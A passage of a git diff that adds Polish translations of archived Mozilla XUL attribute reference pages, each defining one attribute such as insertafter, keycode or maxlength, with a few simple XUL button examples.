+</li><li> <a href="pl/XUL/Atrybut/tooltiptextnew">tooltiptextnew</a>
+</li><li> <a href="pl/XUL/Atrybut/top">top</a>
+</li><li> <a href="pl/XUL/Atrybut/type">type</a>
+</li><li> <a href="pl/XUL/Atrybut/uri">uri</a>
+</li><li> <a href="pl/XUL/Atrybut/userAction">userAction</a>
+</li><li> <a href="pl/XUL/Atrybut/validate">validate</a>
+</li><li> <a href="pl/XUL/Atrybut/value">value</a>
+</li><li> <a href="pl/XUL/Atrybut/wait-cursor">wait-cursor</a>
+</li><li> <a href="pl/XUL/Atrybut/width">width</a>
+</li><li> <a href="pl/XUL/Atrybut/windowtype">windowtype</a>
+</li><li> <a href="pl/XUL/Atrybut/wrap">wrap</a>
+</li></ul>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/inputtooltiptext/index.html b/files/pl/mozilla/tech/xul/atrybut/inputtooltiptext/index.html
new file mode 100644
index 0000000000..2ef99a361c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/inputtooltiptext/index.html
@@ -0,0 +1,17 @@
+---
+title: inputtooltiptext
+slug: Mozilla/Tech/XUL/Atrybut/inputtooltiptext
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/inputtooltiptext
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-inputtooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/inputtooltiptext">inputtooltiptext</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Tekst podpowiedzi dla pudełka tekstu.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/insertafter/index.html b/files/pl/mozilla/tech/xul/atrybut/insertafter/index.html
new file mode 100644
index 0000000000..8f5f8552f0
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/insertafter/index.html
@@ -0,0 +1,18 @@
+---
+title: insertafter
+slug: Mozilla/Tech/XUL/Atrybut/insertafter
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/insertafter
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>
+</dt><dd> Typ: <i>id elementu</i>
+</dd><dd> Kiedy element jest w <code><a href="/pl/docs/Mozilla/Tech/XUL/overlay" title="overlay">overlay</a></code>, to atrybut <code>insertafter</code> określa <code><code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code></code> elementu w bazowym oknie, który element powinien zostać później wyświetlony. Ten atrybut przesłania atrybut <code><code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code></code>. Ta wartość może być listą składającą się z poszczególnych id oddzielonych przecinkiem, które są skanowane i pierwszy znaleziony w oknie jest użyty.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/insertbefore/index.html b/files/pl/mozilla/tech/xul/atrybut/insertbefore/index.html
new file mode 100644
index 0000000000..f449489d77
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/insertbefore/index.html
@@ -0,0 +1,18 @@
+---
+title: insertbefore
+slug: Mozilla/Tech/XUL/Atrybut/insertbefore
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/insertbefore
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>
+</dt><dd> Typ: <i>id elementu</i>
+</dd><dd> Kiedy element jest w <code><a href="/pl/docs/Mozilla/Tech/XUL/overlay" title="overlay">overlay</a></code>, to atrybut <code>insertbefore</code> określa <code><code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code></code> elementu w bazowym oknie, który element powinien zostać wyświetlony wcześniej. Ta wartość może być listą składającą się z poszczególnych id oddzielonych przecinkiem, które są skanowane i pierwszy znaleziony w oknie jest użyty.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/instantapply/index.html b/files/pl/mozilla/tech/xul/atrybut/instantapply/index.html
new file mode 100644
index 0000000000..20dad43709
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/instantapply/index.html
@@ -0,0 +1,18 @@
+---
+title: instantApply
+slug: Mozilla/Tech/XUL/Atrybut/instantApply
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/instantApply
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-instantApply"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/instantApply">instantApply</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli <code>true</code>, preferencje zostaną zmienione albo niebawem lub gdy interfejs użytkownika jest modyfikowany.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/inverted/index.html b/files/pl/mozilla/tech/xul/atrybut/inverted/index.html
new file mode 100644
index 0000000000..3dd93c2081
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/inverted/index.html
@@ -0,0 +1,16 @@
+---
+title: inverted
+slug: Mozilla/Tech/XUL/Atrybut/inverted
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+ - Strony_wymagające_dopracowania
+translation_of: Archive/Mozilla/XUL/Attribute/inverted
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+
+<dl>
+ <dt><code id="a-inverted"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/inverted">inverted</a></code></dt>
+ <dd>Typ:<em>boolean</em></dd>
+ <dd>Preferencje logiczne, jeśli ten atrybut jest ustawiony na <code>true</code>, to sygnalizuje, która wartość preferencji jest <strong>reverse of the user interface element attached to it. For instance, checking the checkbox disables the preference instead of enabling it.</strong></dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/key/index.html b/files/pl/mozilla/tech/xul/atrybut/key/index.html
new file mode 100644
index 0000000000..5ff0eb5dc2
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/key/index.html
@@ -0,0 +1,17 @@
+---
+title: key
+slug: Mozilla/Tech/XUL/Atrybut/key
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/key
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-key"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/key">key</a></code>
+</dt><dd> Typ: <i>znak</i>
+</dd><dd> Litera, która musi zostać naciśnięta. Powinien to być znak, który może być wyświetlany.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/keycode/index.html b/files/pl/mozilla/tech/xul/atrybut/keycode/index.html
new file mode 100644
index 0000000000..f27eb67748
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/keycode/index.html
@@ -0,0 +1,17 @@
+---
+title: keycode
+slug: Mozilla/Tech/XUL/Atrybut/keycode
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/keycode
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-keycode"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/keycode">keycode</a></code>
+</dt><dd> Typ: <i>kod klawisza łańcucha znaków</i>
+</dd><dd> Dla klawiszy skrótu, które nie są wyświetlane jako litery, takich jak Enter lub klawisze funkcyjne, można wykorzystać ten atrybut zamiast <code id="a-key"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/key">key</a></code>. Dozwolone kody klawiszy są wymienione na <a class="external" href="http://www.xulplanet.com/tutorials/xultu/keyref.html">tej liście</a>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/keytext/index.html b/files/pl/mozilla/tech/xul/atrybut/keytext/index.html
new file mode 100644
index 0000000000..cd2d442472
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/keytext/index.html
@@ -0,0 +1,17 @@
+---
+title: keytext
+slug: Mozilla/Tech/XUL/Atrybut/keytext
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/keytext
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-keytext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/keytext">keytext</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Etykieta skrótu klawiaturowego. Tekst ten będzie wyświetlony obok etykiety pozycji menu (<code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code>), jeśli pozycja ta (<code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code>) jest połączona z elementem <code><a href="/pl/docs/Mozilla/Tech/XUL/key" title="key">key</a></code> poprzez jej atrybut <code id="a-key"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/key">key</a></code>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/label.value/index.html b/files/pl/mozilla/tech/xul/atrybut/label.value/index.html
new file mode 100644
index 0000000000..f476b2e023
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/label.value/index.html
@@ -0,0 +1,15 @@
+---
+title: label.value
+slug: Mozilla/Tech/XUL/Atrybut/label.value
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/label.value
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <a href="pl/XUL/Atrybut/label.value">value</a>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Tekst dla etykiety.
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/label/index.html b/files/pl/mozilla/tech/xul/atrybut/label/index.html
new file mode 100644
index 0000000000..62c4398e42
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/label/index.html
@@ -0,0 +1,32 @@
+---
+title: label
+slug: Mozilla/Tech/XUL/Atrybut/label
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/label
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Etykieta, która zostanie wyświetlona na elemencie. Jeśli zostanie on usunięty, to żaden tekst nie zostanie wyświetlony. </dd></dl>
+<div class="noinclude">
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<ul><li> <a href="pl/XUL/Atrybut/treeitem.label">treeitem.label</a>, element <code><a href="pl/XUL/label">&lt;label&gt;</a></code>
+</li></ul>
+<h4 id="Przyk.C5.82ady_w_JavaScript" name="Przyk.C5.82ady_w_JavaScript">Przykłady w JavaScript</h4>
+<pre>&lt;label value="Whaw" id="the-big-label" command="the-big-button"/&gt;
+&lt;button id="the-big-button" label="Click me"
+ oncommand="alert(document.getElementById('the-big-label').value)"/&gt;
+
+&lt;label id="myLabel" value="My label"/&gt;
+&lt;button label="Click me"
+ oncommand="document.getElementById('myLabel').setAttribute('value','Value changed');" /&gt;
+
+&lt;checkbox label="my Checkbox" id="myCheckboX"/&gt;
+&lt;button label="Another click"
+ oncommand="document.getElementById('myCheckboX').setAttribute('label','Still not checked');"/&gt;
+&lt;button label="Show label of checkbox"
+ oncommand="alert( document.getElementById('myCheckboX').getAttribute('label') )"/&gt;
+</pre>
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/last-tab/index.html b/files/pl/mozilla/tech/xul/atrybut/last-tab/index.html
new file mode 100644
index 0000000000..930fb0fb3b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/last-tab/index.html
@@ -0,0 +1,17 @@
+---
+title: last-tab
+slug: Mozilla/Tech/XUL/Atrybut/last-tab
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/last-tab
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-last-tab"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/last-tab">last-tab</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Ten atrybut będzie ustawiony na <code>true</code>, dla ostatniej karty. Ten atrybut nie powinien być ustawiany ręcznie, lecz wtedy, gdy jest stosowany w <a href="pl/Motywy">motywie</a>, a jeśli jest ostatnią kartą, to powinna mieć inny sposób nadania stylu.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/lastpage/index.html b/files/pl/mozilla/tech/xul/atrybut/lastpage/index.html
new file mode 100644
index 0000000000..a819655fac
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/lastpage/index.html
@@ -0,0 +1,17 @@
+---
+title: lastpage
+slug: Mozilla/Tech/XUL/Atrybut/lastpage
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/lastpage
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-lastpage"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/lastpage">lastpage</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Ustawiony na <code>true</code>, jeśli <code><a href="/pl/docs/Mozilla/Tech/XUL/wizard" title="wizard">wizard</a></code> jest na ostatniej stronie.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/lastselected/index.html b/files/pl/mozilla/tech/xul/atrybut/lastselected/index.html
new file mode 100644
index 0000000000..a66991482d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/lastselected/index.html
@@ -0,0 +1,17 @@
+---
+title: lastSelected
+slug: Mozilla/Tech/XUL/Atrybut/lastSelected
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/lastSelected
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-lastSelected"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/lastSelected">lastSelected</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Ustaw to na <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> ostatniego zaznaczonego okna. Będzie otwierany domyślnie następnym razem, gdy okno preferencji jest otwarte.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/left/index.html b/files/pl/mozilla/tech/xul/atrybut/left/index.html
new file mode 100644
index 0000000000..19ea10b95d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/left/index.html
@@ -0,0 +1,17 @@
+---
+title: left
+slug: Mozilla/Tech/XUL/Atrybut/left
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/left
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>
+</dt><dd> Typ: <i>string</i> (reprezentujący integer)
+</dd><dd> Dla elementów umieszczonych wewnątrz stosu (<code><a href="/pl/docs/Mozilla/Tech/XUL/stack" title="stack">stack</a></code>), określa pozycje elementu od lewego brzegu.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/listcell.type/index.html b/files/pl/mozilla/tech/xul/atrybut/listcell.type/index.html
new file mode 100644
index 0000000000..8c082dce22
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/listcell.type/index.html
@@ -0,0 +1,21 @@
+---
+title: listcell.type
+slug: Mozilla/Tech/XUL/Atrybut/listcell.type
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/listcell.type
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/listcell.type">type</a></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Możemy zrobić komórkę pola wyboru w <code><a href="/pl/docs/Mozilla/Tech/XUL/listbox" title="listbox">listbox</a></code>, przez ustawienie tych wartości atrybutów na <code>checkbox</code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/listitem.type/index.html b/files/pl/mozilla/tech/xul/atrybut/listitem.type/index.html
new file mode 100644
index 0000000000..dce5a61096
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/listitem.type/index.html
@@ -0,0 +1,17 @@
+---
+title: listitem.type
+slug: Mozilla/Tech/XUL/Atrybut/listitem.type
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/listitem.type
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <a href="pl/XUL/Atrybut/listitem.type">type</a>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Możemy utworzyć pozycję pola wyboru <code><a href="/pl/docs/Mozilla/Tech/XUL/listbox" title="listbox">listbox</a></code>, poprzez ustawienie tego atrybutu na wartość <code>checkbox</code>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/max/index.html b/files/pl/mozilla/tech/xul/atrybut/max/index.html
new file mode 100644
index 0000000000..d4d7f71d76
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/max/index.html
@@ -0,0 +1,14 @@
+---
+title: max
+slug: Mozilla/Tech/XUL/Atrybut/max
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/max
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-max"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/max">max</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Maksymalna wartość, która może być na skali. Domyślną wartość jest ustawiona na 100. </dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/maxheight/index.html b/files/pl/mozilla/tech/xul/atrybut/maxheight/index.html
new file mode 100644
index 0000000000..2fb1b0f626
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/maxheight/index.html
@@ -0,0 +1,13 @@
+---
+title: maxheight
+slug: Mozilla/Tech/XUL/Atrybut/maxheight
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/maxheight
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>
+</dt><dd> Typ: <i>string</i> (reprezentujący integer)
+</dd><dd> Maksymalna wysokość elementu. Przesyła własność CSS max-height.
+</dd></dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/maxlength/index.html b/files/pl/mozilla/tech/xul/atrybut/maxlength/index.html
new file mode 100644
index 0000000000..35992f94c4
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/maxlength/index.html
@@ -0,0 +1,21 @@
+---
+title: maxlength
+slug: Mozilla/Tech/XUL/Atrybut/maxlength
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/maxlength
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-maxlength"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxlength">maxlength</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Maksymalna liczba znaków, które można wpisać w pole tekstowe.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/maxpos/index.html b/files/pl/mozilla/tech/xul/atrybut/maxpos/index.html
new file mode 100644
index 0000000000..ba39c61fe5
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/maxpos/index.html
@@ -0,0 +1,17 @@
+---
+title: maxpos
+slug: Mozilla/Tech/XUL/Atrybut/maxpos
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/maxpos
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-maxpos"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxpos">maxpos</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Maksymalna pozycja elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/scrollbar" title="scrollbar">scrollbar</a></code></code>. Domyślną wartością jest 100.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/maxrows/index.html b/files/pl/mozilla/tech/xul/atrybut/maxrows/index.html
new file mode 100644
index 0000000000..a39287a43f
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/maxrows/index.html
@@ -0,0 +1,21 @@
+---
+title: maxrows
+slug: Mozilla/Tech/XUL/Atrybut/maxrows
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/maxrows
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-maxrows"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxrows">maxrows</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Liczba wierszy do pokazania na liście rezultatów w czasie. Pasek przewijania będzie wyświetlony więc użytkownik może przewijać poprzez <b>remaining items.</b></dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/maxwidth/index.html b/files/pl/mozilla/tech/xul/atrybut/maxwidth/index.html
new file mode 100644
index 0000000000..da9223702f
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/maxwidth/index.html
@@ -0,0 +1,17 @@
+---
+title: maxwidth
+slug: Mozilla/Tech/XUL/Atrybut/maxwidth
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/maxwidth
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>
+</dt><dd> Typ: <i>string</i> (reprezentujący integer)
+</dd><dd> Maksymalna szerokość elementu. Przesyła własność CSS <code>max-width</code>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/menu/index.html b/files/pl/mozilla/tech/xul/atrybut/menu/index.html
new file mode 100644
index 0000000000..98854cf720
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/menu/index.html
@@ -0,0 +1,21 @@
+---
+title: menu
+slug: Mozilla/Tech/XUL/Atrybut/menu
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/menu
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id elementu popup</i>
+ </dd>
+ <dd>
+ Alternatywna nazwa dla atrybutu <code><code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code></code>, lecz także przesyła do skryptu własność 'menu'.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/menuitem.key/index.html b/files/pl/mozilla/tech/xul/atrybut/menuitem.key/index.html
new file mode 100644
index 0000000000..89eeff3e1c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/menuitem.key/index.html
@@ -0,0 +1,21 @@
+---
+title: menuitem.key
+slug: Mozilla/Tech/XUL/Atrybut/menuitem.key
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/menuitem.key
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/menuitem.key">key</a></dt>
+ <dd>
+ Typ:
+ <i>
+ id element</i>
+ </dd>
+ <dd>
+ Ustawia <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/key" title="key">key</a></code>, którego klawisz skrótu jest wyświetlony w <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/menuitem.name/index.html b/files/pl/mozilla/tech/xul/atrybut/menuitem.name/index.html
new file mode 100644
index 0000000000..a004ebdf43
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/menuitem.name/index.html
@@ -0,0 +1,39 @@
+---
+title: menuitem.name
+slug: Mozilla/Tech/XUL/Atrybut/menuitem.name
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/menuitem.name
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <a href="pl/XUL/Atrybut/menuitem.name">name</a></dt>
+ <dd>
